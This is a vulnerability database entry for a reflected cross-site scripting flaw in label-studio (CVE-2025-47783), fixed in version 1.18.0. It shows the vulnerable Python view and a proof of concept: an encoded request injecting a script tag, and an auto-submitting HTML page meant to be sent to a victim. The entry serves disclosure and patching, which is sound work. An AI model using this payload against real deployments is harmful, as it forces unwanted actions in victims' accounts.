GHSA-8JHR-WPCM-HH4H
Vulnerability from github – Published: 2025-05-15 16:21 – Updated: 2025-05-15 16:21
VLAI?
Summary
label-studio vulnerable to Cross-Site Scripting (Reflected) via the label_config parameter.
Details
Summary
The vulnerability allows an attacker to inject a malicious script into the context of a web page, which can lead to data theft, unauthorized actions on behalf of the user, and other attacks.
Details
The vulnerability is reproducible when sending a properly formatted request to the POST /projects/upload-example/ endpoint. In the source code, the vulnerability is located at label_studio/projects/views.py.
39: @require_http_methods(['POST'])
40: def upload_example_using_config(request):
41: """Generate upload data example by config only"""
42: config = request.POST.get('label_config', '')
43:
44: org_pk = get_organization_from_request(request)
45: secure_mode = False
46: if org_pk is not None:
47: org = generics.get_object_or_404(Organization, pk=org_pk)
48: secure_mode = org.secure_mode
49:
50: try:
51: Project.validate_label_config(config)
52: task_data, _, _ = get_sample_task(config, secure_mode)
53: task_data = playground_replacements(request, task_data)
54: except (ValueError, ValidationError, lxml.etree.Error):
55: response = HttpResponse('error while example generating', status=status.HTTP_400_BAD_REQUEST)
56: else:
57: response = HttpResponse(json.dumps(task_data))
58: return response
The vulnerability is specifically located in line 57, where HttpResponse is used.
57: response = HttpResponse(json.dumps(task_data))
PoC
Send the following request after changing the {host} to your own.
POST /projects/upload-example/ HTTP/1.1
Host: {host}
Content-Type: application/x-www-form-urlencoded
Content-Length: 67
label_config=%3cView%3e%3cText%20name%3d%22text%22%20value%3d%22$textjmwwi%26lt%3bscript%26gt%3balert(1)%26lt%3b%2fscript%26gt%3bs8m37%22%2f%3e%3c%2fView%3e
Or you can create a vulnerable HTML page by changing {domain} beforehand, which can later be sent to the victim.
<html>
<body>
<form action="http://{domain}/projects/upload-example/" method="POST">
<input type="hidden" name="label_config" value="<View><Text name="text" value="$textjmwwi&lt;script&gt;alert(1)&lt;/script&gt;s8m37"/></View>" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>
Impact
- Malicious code execution: The user may be forced to perform unwanted actions within their Label Studio account. This includes accessing
document.cookie, but note that Label Studio session cookies are marked http-only, mitigating any possibility of session theft.
Severity ?
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "label-studio"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.18.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-47783"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": true,
"github_reviewed_at": "2025-05-15T16:21:16Z",
"nvd_published_at": "2025-05-14T23:15:48Z",
"severity": "HIGH"
},
"details": "### Summary\nThe vulnerability allows an attacker to inject a malicious script into the context of a web page, which can lead to data theft, unauthorized actions on behalf of the user, and other attacks.\n\n### Details\nThe vulnerability is reproducible when sending a properly formatted request to the `POST /projects/upload-example/` endpoint. In the source code, the vulnerability is located at `label_studio/projects/views.py`.\n```python\n39: @require_http_methods([\u0027POST\u0027])\n40: def upload_example_using_config(request):\n41: \"\"\"Generate upload data example by config only\"\"\"\n42: config = request.POST.get(\u0027label_config\u0027, \u0027\u0027)\n43: \n44: org_pk = get_organization_from_request(request)\n45: secure_mode = False\n46: if org_pk is not None:\n47: org = generics.get_object_or_404(Organization, pk=org_pk)\n48: secure_mode = org.secure_mode\n49: \n50: try:\n51: Project.validate_label_config(config)\n52: task_data, _, _ = get_sample_task(config, secure_mode)\n53: task_data = playground_replacements(request, task_data)\n54: except (ValueError, ValidationError, lxml.etree.Error):\n55: response = HttpResponse(\u0027error while example generating\u0027, status=status.HTTP_400_BAD_REQUEST)\n56: else:\n57: response = HttpResponse(json.dumps(task_data))\n58: return response\n```\nThe vulnerability is specifically located in line 57, where HttpResponse is used.\n```python\n57: response = HttpResponse(json.dumps(task_data))\n```\n### PoC\nSend the following request after changing the `{host}` to your own.\n```css\nPOST /projects/upload-example/ HTTP/1.1\nHost: {host}\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 67\n\nlabel_config=%3cView%3e%3cText%20name%3d%22text%22%20value%3d%22$textjmwwi%26lt%3bscript%26gt%3balert(1)%26lt%3b%2fscript%26gt%3bs8m37%22%2f%3e%3c%2fView%3e\n```\nOr you can create a vulnerable HTML page by changing `{domain}` beforehand, which can later be sent to the victim.\n```html\n\u003chtml\u003e\n \u003cbody\u003e\n \u003cform action=\"http://{domain}/projects/upload-example/\" method=\"POST\"\u003e\n \u003cinput type=\"hidden\" name=\"label\u0026#95;config\" value=\"\u0026lt;View\u0026gt;\u0026lt;Text\u0026#32;name\u0026#61;\u0026quot;text\u0026quot;\u0026#32;value\u0026#61;\u0026quot;\u0026#36;textjmwwi\u0026amp;lt\u0026#59;script\u0026amp;gt\u0026#59;alert\u0026#40;1\u0026#41;\u0026amp;lt\u0026#59;\u0026#47;script\u0026amp;gt\u0026#59;s8m37\u0026quot;\u0026#47;\u0026gt;\u0026lt;\u0026#47;View\u0026gt;\" /\u003e\n \u003cinput type=\"submit\" value=\"Submit request\" /\u003e\n \u003c/form\u003e\n \u003cscript\u003e\n history.pushState(\u0027\u0027, \u0027\u0027, \u0027/\u0027);\n document.forms[0].submit();\n \u003c/script\u003e\n \u003c/body\u003e\n\u003c/html\u003e\n```\n### Impact\n- Malicious code execution: The user may be forced to perform unwanted actions within their Label Studio account. This includes accessing `document.cookie`, but note that Label Studio session cookies are marked http-only, mitigating any possibility of session theft.",
"id": "GHSA-8jhr-wpcm-hh4h",
"modified": "2025-05-15T16:21:16Z",
"published": "2025-05-15T16:21:16Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/HumanSignal/label-studio/security/advisories/GHSA-8jhr-wpcm-hh4h"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-47783"
},
{
"type": "WEB",
"url": "https://github.com/HumanSignal/label-studio/commit/97db9e7b16783e1f6052eb432a6f014f80ef268d"
},
{
"type": "PACKAGE",
"url": "https://github.com/HumanSignal/label-studio"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:L/SI:L/SA:N",
"type": "CVSS_V4"
}
],
"summary": "label-studio vulnerable to Cross-Site Scripting (Reflected) via the label_config parameter."
}
Loading…
Loading…
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Loading…
Loading…